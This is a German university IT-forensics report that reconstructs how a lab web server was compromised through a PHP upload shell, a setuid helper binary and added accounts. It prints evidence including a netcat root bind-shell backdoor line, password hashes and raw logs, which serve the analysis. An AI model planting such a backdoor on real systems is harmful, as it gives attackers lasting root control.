ingenieur wissenschaften htw saar

HOCHSCHULE FÜR TECHNIK UND WIRTSCHAFT DES SAARLANDES

IT Forensik

PIBWI54

Marian Müller 3603504 Mike Franz 3603261 Michael Sebastian Koch 3602583 Urs Oberdorf 3603040

Inhaltsverzeichnis

1	Ausgangssituation						
2	Planung						
3	Vorbereitung						
4	Timeline						
5	Durchführung5.1 Abarbeiten der Tests5.2 Auswerten der Tests	5 5					
6	Rekonstruktion des Vorfalls 8						
7	Anhang	9					
	7.1 passwd	9					
	7.2 shadow	9					
	7.3 bash_history root	10					
	7.4 bash_history evil	10					
	7.5 auth.log	11					
	7.6 access.log	14					

1 Ausgangssituation

Der Betreiber eines Webservers hat am 29.01.2010 festgestellte, dass mit dem Server etwas nicht stimmt.

Am Vortag hat der Betreiber zuletzt gegen 22:15 Uhr Arbeiten am Webserver durchgeführt.

- Ein Image des Servers (ca. 3Gb) wurde erstellt.
- Das Image wurde mit bzip2 komprimiert (ca. 500 MB).
- MD5-Hashwert des Images: 4afc088a94dd6c36e750b7462e737162 img.dd

Rekonstruieren Sie den Vorfall und erstellen Sie einen gerichtsverwertbaren Bericht.

2 Planung

Um den Vorfall zu bearbeiten wurden in einem Brainstorming Ideen gesammelt was alles überprüft werden sollte. Um den Untersuchungsablauf besser zu strukturieren, wurden diese anschließend kategorisiert und als Tests, welche durchgeführt werden sollen, umformulierten. Die Tests dienen als Untersuchungseinstiegspunkte, da je nach Ergebniss ein dynamischer Fortgang zu erwarten ist.

• Timeline

Um einen Überblick der Aktionen auf dem Dateisystem zu erhalten soll eine Timeline erstellt werden. Des Weiteren können hier die letzten Änderungen an Dateien inklusive dem Verursacher entnommen werden.

• Logins

Die Datei /var/log/auth.log soll auf Auffälligkeiten überprüft werden. Sie enthält alle login und logout Ergeignisse von normalen Benutzern sowie Systemprozessen. Es werden hieraus weiterführende Hinweise auf nicht authorisierte Zugriffe auf das System erhofft.

• Benutzer

In den Dateien /etc/shadow und /etc/passwd sind alle Benutzer des Systems hinterlegt. Sollten Benutzer hier hinterlegt sein, welche Auffälligkeiten aufweisen wie z.b. ungewöhnliche Namen oder Erstellungsdaten, kann verfolgt werden was der Benutzer am System verändert hat.

• Module

Die Datei /proc/modules listet alle geladenen Module des Systems. Sollten auffällige Module geladen sein kann mittels Reverse Engineering deren Zweck ermittelt werden.

• Swap Partition

In dieser Untersuchung wird die Swap Partiton nicht berücksichtigt.

3 Vorbereitung

Nach dem entpacken des Images wurden mit fdisk -l image.dd folgende Partitionsinformationen entnommen:

```
Disk image.dd: 3221 MB, 3221225472 bytes 255 heads, 63 sectors/track, 391 cylinders, total 6291456 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x0009d1b1
```

Device	Boot	Start	End	Blocks	Id	System
image.dd1	*	0	3518171	1759086	83	Linux
image.dd2		3518235	4305419	393592 +	82	Linux swap
image.dd3		4305420	6281414	987997 +	5	Extended
image.dd5		4305483	6281414	987966	83	Linux

Da die Partitionstabelle des Images defekt ist (Startsektor = 0, normalerweise 63 bei der ersten Partition) und um die einzelnen Partitionen als Loopback Device mounten zu können muss dem losetup Programm ein Offset übergeben werden. Dieser berechnet sich aus dem Startsektor sowie der Größe eines Sektors.

```
startsector * sectorsize = offset
```

Aus dieser Berechnung ergeben sich folgende losetup-Befehle:

```
losetup -v -r -o 32256 /dev/loop0 image.dd
losetup -v -r -o 1801336320 /dev/loop1 image.dd
losetup -v -r -o 2204407296 /dev/loop2 image.dd
```

Der Schalter -r verhindert, dass auf das Geraet schreibend zugegriffen wird.

Um die Loopback Devices in das Dateisystem einzubinden muss mit fsstat -t <Device> das Dateisystem ermittelt werden. Angewendet auf die Geräte /dev/loop0 und /dev/loop2 gab das Programm den Typ ext3 an. Das Programm gab weiterhin, angewendet auf das Gerät /dev/loop1, Cannot determine file system type zurück. Durch die vorherige Ausgabe von fdisk war aber bereits der Typ swap identifiziert.

4 Timeline

Nachdem zwei Partitionen als Dateisysteme erkannt wurden, wurde eine Timeline über diese erstellt mit folgenden Befehlen:

```
fls -o 63 -f ext3 -m / -r image.dd > body.txt fls -o 4305483 -f ext3 -m / -r image.dd >> body.txt
```

Anschließend wurde für eine bessere Orientierung, eine Timestamp-Sortierung und Umwandlung in das CSV-Format mit dem Programm mactime-sleuthkit vorgenommen. Diese wurde zwecks einfacheren Filterung in LibreofficeCalc importiert.

```
\label{eq:mactime-sleuthkit} \begin{array}{lll} mactime-sleuthkit & -d & -p & /mnt/erste/etc/passwd & -g \\ & /mnt/erste/etc/group & -b & body.txt & 2010-01-27 > & tl.20100127.csv \end{array}
```

5 Durchführung

5.1 Abarbeiten der Tests

Da der Geschädigte sagte, dass seine letzten Arbeiten am 28.01.2010 um 22:15 Uhr stattfanden bevor er gemerkt hat, dass mit dem Webserver etwas nicht stimmt, wurde im auth.log nach auffälligen Logins, primär, nach diesem Zeitpunkt gesucht. Hier ein Auszug aus der Datei: 7.5

```
Jan 28 22:50:04 websrv useradd[2218]: new user: name=evil,
   UID=1001, GID=0, home=/home/evil, shell=/bin/bash
Jan 28 22:50:24 websrv sshd[2224]: pam_unix(sshd:auth):
   authentication failure; logname= uid=0 euid=0 tty=ssh ruser=
   rhost = 10.0.0.66 user = evil
Jan 28 22:50:27 websrv sshd[2224]: Failed password for evil
   from 10.0.0.66 port 60500 ssh2
Jan 28 22:50:33 websrv sshd[2224]: Failed password for evil
   from 10.0.0.66 port 60500 ssh2
Jan 28 22:56:35 websrv useradd [2229]: new user: name=evil2,
   UID=1002, GID=0, home=/home/evil, shell=/bin/bash
Jan 28 23:00:10 websrv useradd[2239]: new user: name=evil3,
   UID=1003, GID=0, home=/home/evil3, shell=/bin/bash
Jan 28 23:09:01 websrv CRON[2249]: pam_unix(cron:session):
   session opened for user root by (uid=0)
\label{lem:conserved_loss} \mbox{Jan 28 23:09:01 websrv $CRON[2249]$: $pam\_unix(cron:session)$:}
   session closed for user root
Jan 28 23:17:01 websrv CRON[2291]: pam_unix(cron:session):
   session opened for user root by (uid=0)
Jan 28 23:17:01 websrv CRON[2291]: pam_unix(cron:session):
   session closed for user root
Jan 28 23:22:37 websrv passwd[2309]:
   pam\_unix (passwd: chauthtok): \ password \ changed \ for \ evil
Jan 28 23:23:02 websrv sshd[2311]: Accepted password for evil
   from 10.0.0.66 port 57009 ssh2
Jan 28 23:23:02 websrv sshd[2311]: pam_unix(sshd:session):
   session opened for user evil by (uid=0)
Jan 28 23:29:11 websrv sshd[2311]: pam_unix(sshd:session):
   session closed for user evil
```

Als anschließend die datei /etc/passwd durchsucht wurde, wurden die Benutzer evil, evil2 und evil3 gefunden. Hier der Auszug: 7.1

```
evil:x:1001:0::/home/evil:/bin/bash
evil2:x:1002:0::/home/evil:/bin/bash
evil3:x:1003:0::/home/evil3:/bin/bash
```

Die Liste der geladenen Module in /proc/modules enhält keine Auffälligkeiten.

5.2 Auswerten der Tests

Als erstes beschäftigte man sich mit den ungewöhnlichen Systembenutzern evil, evil2 und evil3. Eine sofortige Auffälligkeit der drei Benutzer in der /etc/shadow Datei 7.2 ist, dass sie im Feld der letzten Passwortänderung, den selben Wert aufweisen wie die Systembenutzer. Dies suggeriert den selben Erstellungszeitpunkt wie diese ist aber insofern unglaubwürdig da in der erstellten Timeline der letzte modification/change Timestamp der /etc/shadow Datei 7.2 am Thu Jan 28 2010 22:16:33 ist. Was wiederum wiedersprüchlich ist mit der auth.log Log-Datei 7.5 in der ein neuer Benutzer namens evil erst Jan 28 22:50:04 erstellt wurde. Es ist zum einen Möglich mit root Rechten die /etc/shadow Datei 7.2 händisch zu manipulieren sodass beliebige Werte eingetragen werden können, weiterhin ist es mit relativ simplen C-Programmen möglich MAC-Timestamps zu manipulieren.

Eine weitere Auffälligkeit findet sich im Auszug der Ausgabe des Befehls ls -lahd /home/:

```
drwxr-xr-x 2 1001 root 4,0K Jan 28 2010 evil drwxr-xr-x 2 1003 root 4,0K Jan 28 2010 evil3
```

Die Benutzer evil und evil3 sind mit ihren UIDs und nicht Ihren Benutzernamen angezeigt. Des weiteren hat evil2 kein eigenes Verzeichniss im /home/ Directory. Ein Blick in die /etc/passwd Datei 7.1 zeigt, dass sich die Benutzer evil und evil2 ein /home/-Verzeichniss teilen.

```
evil:x:1001:0::/home/evil:/bin/bash
evil2:x:1002:0::/home/evil:/bin/bash
evil3:x:1003:0::/home/evil3:/bin/bash
```

Ein 1s -lah /home/evil/ zeigt folgende Ausgabe:

```
drwxr-xr-x 2 1001 root 4,0K Jan 28
                                    2010 .
drwxr-xr-x 5 root root 4,0K Jan 28
                                    2010 ..
-rw----- 1 1001 root 229 Jan 28
                                    2010 .bash_history
-rw-r--r-- 1 1001 root 220 Mai 12
                                    2008 .bash_logout
-rw-r--r-- 1 1001 root 3,1K Mai 12
                                    2008 .bashrc
-rwxr-xr-x 1 1001 root 1,3K Jan 28
                                    2010 bdstart.sh
-rwxr-xr-x 1 1001 root 1,9K Jan 28
                                    2010 networking
-rw-r--r-- 1 1001 root 675 Mai 12
                                    2008 .profile
```

Als erstes wurde die networking Datei näher betrachtet. Hierbei handelt es sich um ein Skript welches wahrscheinlich das Original unter /etc/init.d/ ersetzen soll. Ein diff /etc/init.d/networking /home/evil/networking bestätigte diese Vermutung. Wenn nun das Skript mit dem Parameter start aufgerufen wird, wird unter den normalen Befehlen ausserdem folgende Zeile ausgeführt:

```
/usr/local/bin/mysudo "/var/www/upload/netcat -nvv -l -e
/bin/bash -p 32323"
```

Diese Zeile startet das netcat Programm mittels mysudo und läßt es auf den Port 32323 lauschen, welches mit dem Schalter –e jegliche eingehenden Daten an eine bash-Shell weiter leitet welche root-Berechtigung hat.

Nach der Feststellung, dass der Angreifer mit root-Rechten agiert hat wurde die .bash_history 7.3 des root-Benutzers untersucht. Aufmerksamkeit erregte die Bearbeitung eines mysudo Programms. Bei näherer Untersuchung wurde festgestellt, dass einer Binärdatei namens mysudo das setuid-Bit gesetzt wurde, der Eigentümer auf root:root geändert und sie vom /home/-Verzeichnis des Benutzers itf nach /usr/local/bin/ verschoben wurdeund somit in der \$PATH-Variable ethalten. Diese Aktionen wurden ausgeführt bevor der Angreifer auf das System kam was vermuten läßt, dass der Administrator diese ausgeführt hat 7.5.

Über die .bash.history kann man die Befehle welche der Benutzer absetzte einsehen 7.4. Der Umstand, dass diese ebenfalls von Angreifern modifizierbar ist muss berücksichtigt werden. Manipulationen an dieser Datei sind anhand der MAC-Timestamps nicht nachvollziehbar da bei jeder Ausführung eines Befehls der modification und change Timestamp gesetzt wird.

6 Rekonstruktion des Vorfalls

Die ersten fehlgeschlagenen Zugriffsversuche unternahm der Angreifer um 22:13:47 Uhr von der IP-Adresse 10.0.0.6 über ssh 7.5. Anschließend wurden erfolgreiche Zugriffe auf den Webserver von der selben IP-Adresse im Access Log des Apache 27.6 gefunden. Der Angreifer hat dann die upload.html und upload.php gefunden und diese genutzt um die Dateien config.php, phpshell.php sowie style.css hochzuladen. Der Ordner upload in welchem diese Dateien gespeichert wurden besitzt die Rechte read, write und execute für jeden Benutzer. Dieser Umstand sowie der deaktivierte safe_mode in /etc/php5/apache2/php.ini versetzten den Angreifer in die Lage eine PHP-Remote-Shell auszuführen. Diese Shell erhielt die Berrechtigungen des www-data Benutzers, also die des Webservers, welcher die PHP-Shell ausführt. Bei seiner Analyse des Systems per php-Shell fand der Angreifer in /usr/local/bin/ die Binärdatei mysudo welche von Benutzer itf erstellt wurde und anschließend von root um 20:58:23 Uhr Uhr 7.3 das setuid-Bit gesetzt bekommen hat sowie den Eigentümerwechsel auf root:root. Unter Verwendung der phpshell und mysudo wurden dann die Benutzer evil (um 22:50:04 Uhr), evil2 (um 22:56:35 Uhr) und evil3 (um 23:00:10 Uhr) angelegt. Mit dem Benutzer evil loggte der Angreifer sich um 23:23:02 Uhr von der IP-Adresse 10.0.0.66 per ssh ein. Diese SSH-Session dauerte bis 23:29:11 Uhr. In dieser Zeit wurde ein Backdoor eingebaut. Um dies zu realsieren wurde die Datei /etc/init.d/networking angepasst und die Datei netcat um 23:08:45 Uhr über das Upload-Formular hochgeladen. Somit konnte das System von außen, auch bei deaktiviertem SSH-Server und gelöschten Usern, weiterhin mit Rootrechten gesteuert werden.

Somit war der Server nun unter Kontrolle des Angreifers und konnte auch nach einer oberflächlichen Bereinigung durch den Administrator, sprich Entfernung der User und Beheben der Sicherheitslücken des Webservers, weiterhin mit allen Berechtigungen aus der Ferne gesteuert werden. Erst eine Bereinigung der /etc/init.d/networking und eine Inbetriebnahme einer restriktiven Firewall würden das Problem beseitigen.

7 Anhang

7.1passwd

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38: Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System
   (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Debian-exim:x:101:103::/\ var/spool/exim4:/\ bin/false
statd:x:102:65534::/var/lib/nfs:/bin/false
itf:x:1000:1000:itf,,,:/home/itf:/bin/bash
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
evil:x:1001:0::/home/evil:/bin/bash
evil2:x:1002:0::/home/evil:/bin/bash
\verb|evil3:x:1003:0::/home/evil3:/bin/bash|
7.2
     shadow
```

```
root: $1$yn3O2/Tb$LqCVg6vRECFwy.dh5.RgC.:14637:0:99999:7:::
daemon: *:14637:0:99999:7:::
bin:*:14637:0:99999:7:::
sys:*:14637:0:99999:7:::
sync:*:14637:0:99999:7:::
games:*:14637:0:99999:7:::
man: *: 14637: 0: 999999: 7:::
lp:*:14637:0:99999:7:::
mail:*:14637:0:99999:7:::
news:*:14637:0:99999:7:::
uucp:*:14637:0:99999:7:::
proxy: *:14637:0:99999:7:::
www-data:*:14637:0:99999:7:::
backup: *:14637:0:99999:7:::
list:*:14637:0:99999:7:::
irc:*:14637:0:99999:7:::
gnats:*:14637:0:99999:7:::
nobody:*:14637:0:99999:7:::
libuuid: !: 14637: 0: 999999: 7:::
Debian-exim: !: 14637:0:99999:7:::
```

```
\begin{array}{l} {\rm statd:*:14637:0:99999:7:::} \\ {\rm itf:\$1\$IMKQF/c.\$XS31uIOSTLrQrXHXEPAXP0:14637:0:99999:7:::} \\ {\rm sshd:*:14637:0:99999:7:::} \\ {\rm evil:\$1\$mCAms.Y2\$Q1bHHt9K5wkc2DRaoVKHE0:14637:0:999999:7:::} \\ {\rm evil2:.Ve5HDg/SQJaueV/:14637:0:999999:7:::} \\ {\rm evil3:.AjQbKPniaMw1:14637:0:999999:7:::} \\ \end{array}
```

7.3 bash_history root

```
aptitude install openssh-server
aptitude search php
/etc/init.d/apache2 restart
top
 11
ls
i\,n\,i\,t\quad 0
vim interfaces
ifconfig\\
ifconfig eth0 10.0.0.1
ifconfig
init 0
cd /var/www/
 11
 ls
vim upload.html
vim upload.php
mkdir upload
11
ls
ls /home/itf/
ls - l /home/itf/
cp /home/itf/mysudo /usr/local/bin/
chmod +s /usr/local/bin/mysudo
ls -l /usr/local/bin/
chown root.root /usr/local/bin/mysudo
ls -l /usr/local/bin/
chmod +s /usr/local/bin/mysudo
ls - l / usr / local / bin /
cd /var/www/
ls - l
chmod 777 upload
ls -l upload
```

7.4 bash_history evil

```
ls
ls -l
mysudo whoami
cd /etc/init.d/
ls
touch bdstart.sh
cd
cp /etc/init.d/hostname.sh bdstart.sh
```

```
vim bdstart.sh
cp /etc/init.d/networking .
vim networking
mysudo "cp ./networking /etc/init.d/"
ls -l /etc/init.d/
ls -l /etc/
```

7.5 auth.log

```
Jan 28 15:21:49 websrv login[1983]: pam_unix(login:session):
    session opened for user itf by (uid=0)
Jan 28 15:21:55 websrv su[2047]: pam_unix(su:auth):
    authentication failure; logname=itf uid=1000 euid=0 tty=tty1
    ruser=itf rhost= user=root
Jan 28 15:21:57 websrv su[2047]: pam_authenticate:
    Authentication failure
Jan 28 15:21:57 websrv su[2047]: FAILED su for root by itf
Jan 28 15:21:57 websrv su[2047]: - tty1 itf:root
Jan 28 15:22:04 websrv su[2048]: Successful su for root by itf
\label{eq:control_sum} \operatorname{Jan}\ 28\ 15{:}22{:}04\ \operatorname{websrv}\ \operatorname{su}\left[2048\right]{:}\ +\ \operatorname{tty1}\ \operatorname{itf:root}
opened for user root by itf(uid=1000)
Jan 28 15:22:35 websrv useradd[2335]: new user: name=sshd,
   UID=103, GID=65534, home=/var/run/sshd,
    shell=/usr/sbin/nologin
Jan 28 15:22:35 websrv usermod [2340]: change user 'sshd'
    password
Jan 28 15:22:35 websrv chage [2345]: changed password expiry for
   sshd
Jan 28 15:22:35 websrv sshd[2376]: Server listening on :: port
Jan 28 15:22:35 websrv sshd[2376]: Server listening on 0.0.0.0
   port 22.
Jan 28 15:24:56 websrv su[2048]: pam_unix(su:session): session
    closed for user root
Jan 28 16:26:41 websrv sshd[1674]: Server listening on :: port
    22.
Jan 28 16:26:41 websrv sshd[1674]: Server listening on 0.0.0.0
    port 22.
Jan 28 16:26:53 websrv login[2010]: pam_unix(login:session):
    session opened for user itf by LOGIN(uid=0)
Jan 28 16:27:08 websrv su[2053]: Successful su for root by itf
Jan 28 16:27:08 websrv su[2053]: + tty1 itf:root
Jan 28 16:27:08 websrv su[2053]: pam_unix(su:session): session
    opened for user root by itf(uid=1000)
Jan 28 16:27:44 websrv sshd[1674]: Received signal 15;
    terminating.
Jan 28 16:27:44 websrv sshd[2082]: Server listening on :: port
    22.
Jan 28 16:27:44 websrv sshd[2082]: Server listening on 0.0.0.0
    port 22.
\label{eq:control_state} \mbox{Jan 28 16:30:34 websrv sshd} \ [2086] \mbox{: Accepted password for itf}
   from 10.0.0.2 port 45719 ssh2
Jan 28 16:30:34 websrv sshd[2086]: pam_unix(sshd:session):
```

```
session opened for user itf by (uid=0)
Jan 28 16:30:40 websrv sshd[2086]: pam_unix(sshd:session):
   session closed for user itf
Jan 28 16:31:31 websrv sshd[2106]: Accepted password for itf
   from 10.0.0.2 port 45720 ssh2
Jan 28 16:31:31 websrv sshd[2106]: pam_unix(sshd:session):
   session opened for user itf by (uid=0)
Jan 28 16:34:04 websrv su[2147]: Successful su for root by itf
{\rm Jan\ 28\ 16:34:04\ websrv\ su\,[2147]:\ +\ pts/0\ itf:root}
Jan 28 16:34:04 websrv su[2147]: pam_unix(su:session): session
   opened for user root by itf(uid=1000)
Jan 28 16:34:29 websrv su[2147]: pam_unix(su:session): session
   closed for user root
Jan 28 16:34:31 websrv sshd[2106]: pam_unix(sshd:session):
   session closed for user itf
Jan 28 16:35:31 websrv su[2053]: pam_unix(su:session): session
   closed for user root
Jan 28 20:41:04 websrv sshd[1686]: Server listening on :: port
   22.
Jan 28 20:41:04 websrv sshd[1686]: Server listening on 0.0.0.0
   port 22.
Jan 28 20:44:51 websrv sshd[2047]: Accepted password for itf
   from 10.0.0.2 port 41543 ssh2
Jan 28 20:44:51 websrv sshd[2047]: pam_unix(sshd:session):
   session opened for user itf by (uid=0)
Jan 28 20:50:44 websrv su[2064]: Successful su for root by itf
Jan 28 20:50:44 websrv su[2064]: + pts/0 itf:root
Jan 28 20:50:44 websrv su[2064]: pam_unix(su:session): session
   opened for user root by itf(uid=1000)
{\tt Jan~28~20:57:43~websrv~sshd\,[2075]:~Accepted~password~for~itf}
   from 10.0.0.2 port 50917 ssh2
Jan 28 20:57:43 websrv sshd[2075]: pam_unix(sshd:session):
   session opened for user itf by (uid=0)
Jan 28 20:57:43 websrv sshd[2075]: pam_unix(sshd:session):
   session closed for user itf
Jan 28 20:59:27 websrv sshd[2087]: Accepted password for itf
   from 10.0.0.2 port 50918 ssh2
Jan 28 20:59:27 websrv sshd[2087]: pam_unix(sshd:session):
   session opened for user itf by (uid=0)
Jan 28 21:09:02 websrv CRON[2121]: pam_unix(cron:session):
   session opened for user root by (uid=0)
Jan 28 21:09:02 websrv CRON[2121]: pam_unix(cron:session):
   session closed for user root
Jan 28 21:09:14 websrv su[2064]: pam_unix(su:session): session
   closed for user root
Jan 28 21:09:21 websrv sshd[2087]: pam_unix(sshd:session):
   session closed for user itf
Jan 28 21:09:25 websrv sshd [2047]: pam_unix(sshd:session):
   session closed for user itf
Jan 28 21:17:01 websrv CRON[2133]: pam_unix(cron:session):
   session opened for user root by (uid=0)
\label{lem:conserved_conserved} \mbox{Jan 28 21:17:01 websrv $CRON[2133]: pam_unix(cron:session):}
   session closed for user root
Jan 28 21:39:01 websrv CRON[2137]: pam_unix(cron:session):
```

```
session opened for user root by (uid=0)
Jan 28 21:39:01 websrv CRON[2137]: pam_unix(cron:session):
   session closed for user root
Jan 28 22:09:01 websrv CRON[2147]: pam_unix(cron:session):
   session opened for user root by (uid=0)
Jan 28 22:09:01 websrv CRON[2147]: pam_unix(cron:session):
   session closed for user root
Jan 28 22:13:47 websrv sshd[2157]: pam_unix(sshd:auth):
   authentication failure; logname= uid=0 euid=0 tty=ssh ruser=
   rhost = 10.0.0.66 user=root
Jan 28 22:13:49 websrv sshd[2157]: Failed password for root
   from 10.0.0.66 port 51292 ssh2
Jan 28 22:13:55 websrv sshd [2157]: Failed password for root
   from 10.0.0.66 port 51292 ssh2
Jan 28 22:14:02 websrv sshd[2157]: Failed password for root
   from 10.0.0.66 port 51292 ssh2
Jan 28 22:14:02 websrv sshd[2157]: PAM 2 more authentication
   failures; logname= uid=0 euid=0 tty=ssh ruser=
   rhost = 10.0.0.66 user=root
Jan 28 22:14:08 websrv sshd[2160]: pam_unix(sshd:auth):
   authentication failure; logname= uid=0 euid=0 tty=ssh ruser=
   rhost = 10.0.0.66 user=root
Jan 28 22:14:11 websrv sshd[2160]: Failed password for root
   from 10.0.0.66 port 51293 ssh2
Jan 28 22:14:14 websrv sshd[2160]: Failed password for root
   from 10.0.0.66 port 51293 ssh2
Jan 28 22:14:17 websrv sshd[2160]: Failed password for root
   from 10.0.0.66 port 51293 ssh2
Jan 28 22:14:17 websrv sshd[2160]: PAM 2 more authentication
   failures; logname= uid=0 euid=0 tty=ssh ruser=
   rhost = 10.0.0.66 user=root
Jan 28 22:14:22 websrv sshd[2162]: Invalid user admin from
   10.0.0.66
Jan 28 22:14:22 websrv sshd[2162]: Failed none for invalid user
   admin from 10.0.0.66 port 47703 ssh2
Jan 28 22:14:24 websrv sshd[2162]: pam_unix(sshd:auth): check
   pass; user unknown
Jan 28 22:14:24 websrv sshd[2162]: pam_unix(sshd:auth):
   authentication failure; logname= uid=0 euid=0 tty=ssh ruser=
   rhost = 10.0.0.66
{\rm Jan~28~22:14:26~websrv~sshd}\,[2\,16\,2]{\rm :~Failed~password~for~invalid}
   user admin from 10.0.0.66 port 47703 ssh2
Jan 28 22:14:27 websrv sshd[2162]: pam_unix(sshd:auth): check
   pass; user unknown
Jan 28 22:14:29 websrv sshd[2162]: Failed password for invalid
   user admin from 10.0.0.66 port 47703 ssh2
Jan 28 22:14:31 websrv sshd[2162]: pam_unix(sshd:auth): check
   pass; user unknown
Jan 28 22:14:33 websrv sshd[2162]: Failed password for invalid
   user admin from 10.0.0.66 port 47703 ssh2
Jan 28 22:14:33 websrv sshd[2162]: PAM 2 more authentication
   failures; logname= uid=0 euid=0 tty=ssh ruser=
   rhost = 10.0.0.66
Jan 28 22:16:18 websrv login[2022]: pam_unix(login:auth):
```

```
authentication failure; logname=LOGIN uid=0 euid=0 tty=tty1
   ruser= rhost= user=itf
Jan 28 22:16:20 websrv login [2022]: FAILED LOGIN (1) on 'tty1'
   FOR 'itf', Authentication failure
Jan 28 22:16:33 websrv login [2022]: pam_unix(login:session):
   session opened for user itf by LOGIN(uid=0)
Jan 28 22:16:45 websrv su[2178]: Successful su for root by itf
Jan 28 22:16:45 websrv su[2178]: + tty1 itf:root
Jan 28 22:16:45 websrv su[2178]: pam_unix(su:session): session
   opened for user root by itf(uid=1000)
Jan 28 22:17:01 websrv CRON[2181]: pam_unix(cron:session):
   session opened for user root by (uid=0)
Jan 28 22:17:01 websrv CRON[2181]: pam_unix(cron:session):
   session closed for user root
Jan 28 22:17:13 websrv su[2178]: pam_unix(su:session): session
   closed for user root
Jan 28 22:17:14 websrv login[2022]: pam_unix(login:session):
   session closed for user itf
Jan 28 22:39:01 websrv CRON[2203]: pam_unix(cron:session):
   session opened for user root by (uid=0)
Jan 28 22:39:01 websrv CRON[2203]: pam_unix(cron:session):
   session closed for user root
Jan 28 22:50:04 websrv useradd[2218]: new user: name=evil,
   UID=1001, GID=0, home=/home/evil, shell=/bin/bash
Jan 28 22:50:24 websrv sshd[2224]: pam_unix(sshd:auth):
   authentication failure; logname= uid=0 euid=0 tty=ssh ruser=
   rhost = 10.0.0.66 user=evil
Jan 28 22:50:27 websrv sshd[2224]: Failed password for evil
   from \ 10.0.0.66 \ port \ 60500 \ ssh2
Jan 28 22:50:33 websrv sshd[2224]: Failed password for evil
   from 10.0.0.66 port 60500 ssh2
Jan 28 22:56:35 websrv useradd[2229]: new user: name=evil2,
   UID=1002, GID=0, home=/home/evil, shell=/bin/bash
Jan 28 23:00:10 websrv useradd[2239]: new user: name=evil3,
   UID=1003, GID=0, home=/home/evil3, shell=/bin/bash
Jan 28 23:09:01 websrv CRON[2249]: pam_unix(cron:session):
   session opened for user root by (uid=0)
\label{eq:constraint} {\tt Jan~28~23:09:01~websrv~CRON[2249]:~pam\_unix(cron:session):}
   session closed for user root
Jan 28 23:17:01 websrv CRON[2291]: pam_unix(cron:session):
   session opened for user root by (uid=0)
Jan 28 23:17:01 websrv CRON[2291]: pam_unix(cron:session):
   session closed for user root
Jan 28 23:22:37 websrv passwd[2309]:
   pam_unix(passwd:chauthtok): password changed for evil
Jan 28 23:23:02 websrv sshd[2311]: Accepted password for evil
   from 10.0.0.66 port 57009 ssh2
Jan 28 23:23:02 websrv sshd[2311]: pam_unix(sshd:session):
   session opened for user evil by (uid=0)
Jan 28 23:29:11 websrv sshd[2311]: pam_unix(sshd:session):
   session closed for user evil
```

7.6 access.log

- $10.0.0.2 - \left[\frac{28}{Jan} / \frac{2010:20:53:19}{2010:20:53:19} + 0100 \right] \text{ "GET } / \text{ HTTP} / 1.1" 200 \\ 56 \text{ "-" "Mozilla} / 5.0 \text{ (X11; U; Linux } i686; en; rv:1.9.0.16) \\ \text{Gecko} / \frac{20080528}{20080528} \text{ Epiphany} / 2.22"$

- 10.0.0.66 [28/Jan/2010:22:33:44 +0100] "GET /upload/phpshell.php HTTP/1.1" 200 638 "-" "Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.16) Gecko/2009121610 Iceweasel/3.0.6 (Debian-3.0.6-3)"

```
Iceweasel /3.0.6 (Debian -3.0.6-3)"
10.0.0.66 - [28/Jan/2010:22:33:53 +0100] "GET
   /upload/style.css HTTP/1.1" 304
   "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
   Linux i686; de; rv:1.9.0.16) Gecko/2009121610
   Iceweasel /3.0.6 (Debian -3.0.6-3)"
10.0.0.66 - [28/Jan/2010:22:34:03 +0100] "POST
   /upload/phpshell.php HTTP/1.1" 200 1087
   "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
   Linux i686; de; rv:1.9.0.16) Gecko/2009121610
   Iceweasel /3.0.6 (Debian -3.0.6-3)"
10.0.0.66 - [28/Jan/2010:22:34:03 +0100] "GET
   /upload/style.css HTTP/1.1" 304 -
   "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
   Linux i686; de; rv:1.9.0.16) Gecko/2009121610
   Iceweasel /3.0.6 (Debian -3.0.6-3)"
10.0.0.66 - [28/Jan/2010:22:34:58 +0100] "POST
   /upload/phpshell.php HTTP/1.1" 200 1094
   "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
   Linux\ i686\,;\ de\,;\ rv\,{:}1.9.0.16)\ Gecko/2009121610
   Iceweasel /3.0.6 (Debian -3.0.6-3)"
10.0.0.66 - [28/Jan/2010:22:34:58 + 0100] "GET
   /upload/style.css HTTP/1.1" 200 734 "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U; \\
   Linux i686; de; rv:1.9.0.16) Gecko/2009121610
   Iceweasel/3.0.6 (Debian -3.0.6-3)"
10.0.0.66 - [28/Jan/2010:22:35:23 +0100] "POST
   /upload/phpshell.php HTTP/1.1" 200 2187
   "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
   Linux\ i686\,;\ de\,;\ rv\,{:}1.9.0.16)\ Gecko/2009121610
   Iceweasel /3.0.6 (Debian -3.0.6-3)"
10.0.0.66 - [28/Jan/2010:22:35:36 +0100] "GET
   /upload/style.css HTTP/1.1" 304 -
   "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
   Linux i686; de; rv:1.9.0.16) Gecko/2009121610
   Iceweasel /3.0.6 (Debian -3.0.6-3)"
10.0.0.66 - [28/Jan/2010:22:36:10 +0100] "POST
